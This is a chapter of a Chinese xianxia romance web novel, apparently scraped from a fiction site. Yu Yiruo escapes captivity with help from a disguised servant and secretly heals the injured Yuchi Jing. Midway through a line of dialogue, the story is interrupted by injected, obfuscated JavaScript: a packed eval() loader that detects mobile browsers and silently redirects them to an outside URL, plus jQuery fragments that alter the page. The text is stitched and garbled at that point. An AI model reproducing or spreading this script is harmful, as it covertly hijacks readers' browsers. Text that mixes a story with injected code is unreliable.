179. 相思

作品:《失手伤害反派后

    余以若就要解开束缚的双手急急刹住。


    说话的人连滚带爬地奔到前方,仔细一看,约莫脸上还有泪痕,感动是不可能,多半是被吓的,究竟那人有什么可怖之地呢?


    余以若不知道。


    “二把手……二把手,那姑娘……”


    “一个姑娘就把你们吓成这个样子!”雨季毫不留情给了他一巴掌,“废物!”


    “不是的二把手,她哪是姑娘啊,那人所过之地寸草不生,根本就不是人!”那人委屈地捂住自己的脸。


    “然后呢?”雨季现在已经是愤怒得不知天地为何物,凝了全身的气力的这一脚就踹在了说话人的肩头,不过片刻,那人就没了生息。


    雨季揉揉手腕,“蠢货!”


    就在他又要看向余以若,有人又急匆匆跑了上来,“二把手,那人已经进村了!”


    雨季愤怒道:“不会带人去杀吗?”


    “二把手,那人拿着刀,我们打不赢,压根不是人,是鬼啊!全身的黑气,我们看都没有看过,压根就不是人!”


    “不是人还不简单,拿把火烧了!”雨季烂得理他。


    主要是荼边村偏安一隅,近百年来没什么战乱,在他们几人的治理下可谓是风调雨顺,怡然自乐,怎么可能会有人擅自闯进来,而且外头的瘴气包裹了整座山,稍有不慎贸然闯入,可不仅仅只是失去性命那么简单。


    余以若能安然无恙地进来,都是雨霖的功劳。


    内里的道理雨季很清楚,自然就明白这些吃混账饭长大的是骨头硬了,想造反了,“滚!别妨碍我办事!”


    报告的人身子颤动,什么时候见二把手发过这样的脾气啊,压根就没有,他一时间也拿不定主意,姑且往余以若身上看去。


    不看还好,一看就看到绑缚在后头的手瞧瞧地松了个豁口,只要轻轻一拉,余以若就能逃出来。


    “二把手!这个人要跑!”报告的人赶忙指认。


    余以若身子僵住,不可置信地看向说话的人,“我没有要跑!你看我的手还是好好绑着的!”余以若示意地往旁边看去,虚弱道:“这么多人看着我,我哪走得动啊。”


    抬头望了望天,也不知尉迟景如何了,但云烟已然消散,脖子上的珠子还在发光,想也是没事的。眼下最着急的事情当属大鸟和小福了,余以若默了默,思量着去路。


    办法还没想出来,几个守卫口中的姑娘就被人压了过来。


    余以若扭头看清对方的面孔,万分惊愕,“肖玲?怎么是你?”


    肖玲就是当日她在山下救下的姑娘,不是让她自己去发展了吗?怎么会来到这里,而且她身上横七竖八的伤,压根就不像他们口中以一敌百,横扫万里的“不是人,是鬼”。


    “余姑娘……我也是被他们抓紧来的。”肖玲个子高,被压在余以若身侧,上半身朝余以若靠近时,挡住了她大半部分的光线,连带着余以若闻到了几丝熟悉的味道。


    脑海里兀地飘出尉迟景的脸来,余以若晃晃脑袋,心道自己真是出现了幻觉,这个人看起来单纯又无害,显然是个凡人,怎么可能是尉迟景的手下,而且她身上的伤看起来比她的还要厉害。


    “姑娘别怕,我会救你出去的。”肖玲朝她挤了挤眼睛。


    “谢谢哈,就是我看你自身也有点难保。”余以若大实话道。


    肖玲脸上却不见窘,反倒是满面春光,活脱脱是个自信范。


    余以若脑海里的脸愈飘愈清晰,借着光,余以若还看到了她腰上挂着的玉佩,是黑色的,上面好像还雕刻着图画。余以若凑近想再看看,却被她一个侧身,用衣服挡住了。


    “家中的传家宝,一般不给外人看的。”肖玲苦恼道。


    余以若脸上有些僵硬,“这样啊,抱歉。”


    “叽里咕噜说什么呢!”雨季恶狠狠地把剑往地上一插,“既然是同伙,把我妹妹交出来!”


    这人从头到脚就这么一句话,余以若同他解释得都有些不知道话是怎么说,俗话说有些牛教三次就会转角,看来这个人说了五次,也不知道冤枉两个字怎么写。


    “喂!你个大逆不道的畜生!”


    旁边的肖玲说话更是让余以若为之血液凝固,余以若一脸愣怔地看着肖玲继续开炮。


    “放了她!我就告诉你妹妹在哪!”


    雨季本就满脸怒火,闻言恨不得把她撕碎吞了,当即拎起肖玲的衣袖往旁边一丢。肖玲骨碌碌就滚了下去,唾骂之言却分毫不少,反之还更甚。


    雨季三步并作两步,走向肖玲。


    “诶!你有话好好说啊!”余以若在这头急得都要冒汗,适才为了证明自己没有逃跑的可能,可是把要解开的绳子又用术法收紧了些,这下倒是搬起石头砸自己的脚了,“放开她!”


    余以若不知道他们之间说了什么,等雨季的脸转到她视线中时,惨白一片,压根就瞧不出刚才的气血和嚣张,好像盆烧得正旺的火,被人泼下盆冷水,顷刻间就只剩赤红的几粒斑点,在无声无势地叫嚣。


    “把她们放了!”雨季的话让余以若出奇得吃惊。


    看守的人也是愣了几愣,不可置信地看向雨季。


    “放了她。”雨季重复道。


    这下他们才明白自己的耳朵没有出问题,立马把余以若的绳子解了开来。


    余以若揉揉手腕,就见肖玲朝自己跑来,“余姑娘我说了你很快就能出来了!”


    “多谢你。”余以若笑着答道。


    “不用客气,毕竟是你救了我嘛。”肖玲虽是这般说,可看向她时完全不是救命之恩的神色,倒是有点像下位人看上位人恰到好处的敬意。


    “你和他说了什么啊,怎么这么容易就放了我?”余以若看着雨季带着离开,完全是往浓烟拿出跑,不用想也晓得就是去找雨霖。


    “秘密。”肖玲眨眨眼。


    “走,我们也去看看。”余以若正抬脚打算走,脖子上的珠子突然发热,余以若摸着珠子心下一颤,赶忙对肖玲道:“我的鸟还在那座山头,不知道是不是被埋了还是怎么,你能不能帮我去找找。”


    “自然自然!”肖玲似乎一眼就看出了什么,“你要干什么就抓紧去吧!”


    余以若点点头,把掉在山涧的青羽剑叫回来,一踩上就朝远处飞了去。


    肖玲看着少女的背影越来越远,心内暗自思忖,大人抛下死神殿的事务不理会,为的就是这样一位如花似玉、心底良善的姑娘,反倒是这位姑娘瞧着好生着急,也不知道她看上了他们大人哪点。


    脾气又差得要死,性子又古怪,动不动就让人干这种捉摸不透的事,之前为了给他找那什么磨动蒲双珠的武器就几乎要了他们半条命,就光一张脸不错,简直就是华而不实的代名词。


    肖玲握住腰间的黑虎尾令牌,松了口气,差点就被发现了,被发现哪还了的,不被死神殿的那几位折磨死,都是她运气好。


    一想起阿通那家伙被赏赐着把那水缸里的水喝光,肚子胀得就更个皮球似的,就老吓人。她可不想变得那么丑,要不然她的那些知心人怕是要不知心了。


    想了没多久,就赶忙朝着塌陷近乎一半的山头狂奔。


    ……


    余以若驾着剑直直地飞了老高才冲出这座连鸟都飞不出去的群山,衣衫薄,冷不丁感到有些冷,特特地降低了些高度。


    脚下的能见度也变得高了些,依稀能看到脚下的被摧毁的一大片丛林,余以若降下剑,闻到了若有若无的铁锈味,是血,一直沿着一个方向拖去。


    周遭没有旁的人家,又想起适才的雷电正巧劈向的就是这方,索性一眼就能认定,沿着这个方向,估摸着就能看到尉迟景。


    走了不多远,有个客栈,客栈进进出出拿着药箱的大夫。


    余以若抓住从里头出来的人,“里头有人生了病?”


    “可不是!


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16917206|169447||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ”大夫擦着额头的汗,懊恼不已,“流了那么多血,怎么止都止不住,看起来也活不过今晚了!我们这么多人进去都没办法,可见多邪乎!”


    “是男子吗?”余以若问道。


    “是啊!”大夫道:“可惜了,年纪轻轻的,就患了这种绝症!”看余以若的眉目皱着,就问:“姑娘你是他的什么人吗?要是交待事情,抓紧今晚交待了,明天可就……”大夫摇了摇头。


    余以若笑着道:“不是,我也是被请过去的大夫。”


    “姑娘那你抓紧去看看吧!给钱倒是大方,就是这病……你也知道。”大夫说完这句话估摸着也是要赶赴下一户人家,急急地走了。


    尉迟景是不入轮回,自然也不是从轮回出来的。他是修仙之人的后代,寻常的药物对他无用,余以若苦涩地扯了扯唇角。


    走向一边,咽下乾坤袋里所剩不多的易颜丹。


    迈开步子朝客栈那头走去。


    余以若的易颜丹只能更换脸蛋,身形还有衣服都是不能变换的。里头的人一见是个须发皓白的老者,当即让开了路,让余以若走进了中心。


    尉迟景躺在床榻上,身上盖着薄薄的衾被,唇色白了又紫,显然是经脉逆行所致。旁边守着的是风信,拿着帕子轻轻地替他擦拭着额头上渗出的薄汗,再旁边又是端着褐色汤药的小厮。


    兴许是余以若变换的这副容颜很权威,直至走至尉迟景旁边,也没人来拦她。余以若从乾坤袋拿出了颗丹药,是她临走前,师父同兰花一齐交给她保命用的。


    余以若没有半分犹豫交给了风信,并道:“这个给他吃下,就会好。”


    “这是……”风信想说什么,等再望了她一眼,嘴巴里就什么话都说不出来了。看这个人又转身走,风信忙跑去把人拦下,“余……剩下的这位大夫,你……”


    “没毒。”余以若说道。


    “大夫,我手笨,你来吧。”风信把瓷碗里的药丸往她面前一推,“还是你来吧。”


    “我也手笨。”余以若干巴巴道。


    “可是我们大人,要是不吃药就要死了……以后我们这些人无依无靠……”说着风信眼角就要垂下泪来。


    余以若很想说你不是也有手吗?但看到床上不省人事的尉迟景,还是把话吞进了肚子里,接过风信的碗,向着床榻走去。


    脑海里的面容渐渐地成了实体,只不过却比以往苍白憔悴了许多,头发上也沾染了泥粒,余以若记得这人似乎还是有洁癖的,在下界时衣服可是要一天一换,哪怕沾了一丁点血渍也是要丢掉的。而今的这副模样,也不知道是在干什么,落魄得有些不像他。


    余以若叹了口气,捻起那粒金丹,放到了少年的唇上。


    指尖接触到唇角的一瞬,余以若感到他好像颤了一下,倏尔一股电流似的触感就流遍四肢百骸,余以若吓得把手缩了回来。好在金丹没掉,化作了道金光涌入少年体内。


    余以若看着金光消散,少年的脸似乎也有了红晕,便起身把空碗还给风信,“好了。”


    “大夫……你这就走了?”风信把碗挡回去,难为道:“不留下来观察观察药效?”


    “这么多人,不缺我一个。”余以若抬脚往外走。


    “那留几句话也我们也好吧。”风信看拦不住她,便求了个下策。


    “听天由命吧。”余以若抿抿唇,想了许久。


    风信一愣,“大夫这话是……”


    “再这般作践自己,再世华佗都救不了了。”余以若回望了床榻上的人最后一眼。


    “本来就救不了嘛。”风信弱弱地说道。


    “嗯。”余以若转身出了门。


    风信看着人远去,旁边的大夫赶忙过来攀他的手,“大人,这位是什么妙手神医,床上的这位大人的血果真止住了,这也太神奇了吧!”


    “什么妙手神医。”风信看着床榻上的人,嘲道:“分明是相思灵丸。”